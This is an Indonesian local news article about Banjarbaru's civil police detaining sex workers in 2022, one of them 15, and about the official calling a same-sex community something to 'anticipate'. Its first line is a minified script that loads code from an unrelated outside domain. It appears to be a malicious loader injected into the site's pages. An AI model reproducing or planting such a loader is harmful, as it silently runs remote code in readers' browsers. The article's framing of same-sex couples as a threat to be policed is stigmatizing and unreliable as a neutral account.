(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Puluhan pekerja seks komersial (PSK) berhasil diamankan Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru pada tahun 2022.
Tak hanya itu, Satpol PP Kota Banjarbaru dalam sebuah giat berhasil mendapati pasangan penyuka sesama jenis.
Kepala Satpol PP Kota Banjarbaru, Hidayaturahman mengatakan, sepanjang 2022 lalu berhasil mengamankan puluhan PSK. Sebagian di antaranya merupakan pelaku prostitusi online.
“Waktu itu ada 13 orang yang diamankan di 3 tempat berbeda terkait prostitusi online,” ujarnya.
Baca juga : DPRD Kapuas Terima Kunker Komisi II DPRD Tapin
Adapun rata-rata umur pelaku prostitusi yang berhasil mereka amankan sepanjang tahun 2022 lalu, berkisar antara 20 tahunan.
“Paling mudah pernah kami temukan berusia 15 tahun,” bebernya.
Terkait prostitusi online ini kata Dayat, pelakunya tidak bisa dilacak. Sebab, ketika melakukan aksi terus berpindah-pindah berdasarkan kesepakatan di aplikasi.
Selain prostitusi diungkapkan Dayat, di Kota Banjarbaru perlu antisipasi penyuka sesama jenis. Hal ini berdasarkan temuan ketika melakukan patroli di sebuah kost-kostan di Banjarbaru
“Perlu kita antisipasi di Banjarbaru sudah ada komunitas penyuka sesama jenis,” ungkapnya.
Baca juga : Bupati Banjar Launching Aplikasi SIMANIS PBJ
Waktu itu, kata Dayat, pihaknya berhasil mengamankan 5 orang yang terdiri dari 3 wanita dan 2 laki-laki dalam sebuah kamar. Terungkapnya mereka penyuka sesama jenis ketika dilakukan pemeriksaan lebih lanjut terhadap para pelaku di Mako Satpol PP Banjarbaru.
Para pelaku prostitusi online setelah diamankan di Satpol PP Banjarbaru, akan dititipkan di Rumah Singgah Dinas Sosial Kota Banjarbaru untuk dilakukan pembinaan dan pemanggilan orang tua.
“Hasil penjaringan semua PSK ini, kami bekerja sama dengan Dinsos, mereka (PSK) ditampung di sana selama beberapa hari dan dilakukan assesment terhadap PSK, juga dengan PSK dibawah umur akan diserahkan ke dinas yang menbidangi perlindungan anak,” tuturnya.
Masih kata Dayat, PSK yang berhasil terjaring ketika pihaknya melakukan giat, dirinya memastikan tidak ada satu orangpun berasal dari Kota Banjarbaru.
Baca juga : Peringati Hari Ikan Nasional, Bupati Saidi: Potensi Besar Perikanan Ada di Kabupaten Banjar
Lanjut Dayat, dengan maraknya temuan di kos-kosan, pihaknya juga terus melakukan patroli di lingkungan kost-kostan yang ada di Banjarbaru.
Dirinya juga berharap kepada masyarakat Banjarbaru, jika mendapati kegiatan yang mencurigakan di lingkungannya yang berhubungan dengan prostitusi maupun pelanggaran yang mengganggu kenyamanan warga agar sesegara mungkin melaporkan ke Satpol PP Banjarbaru ataupun RT setempat.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.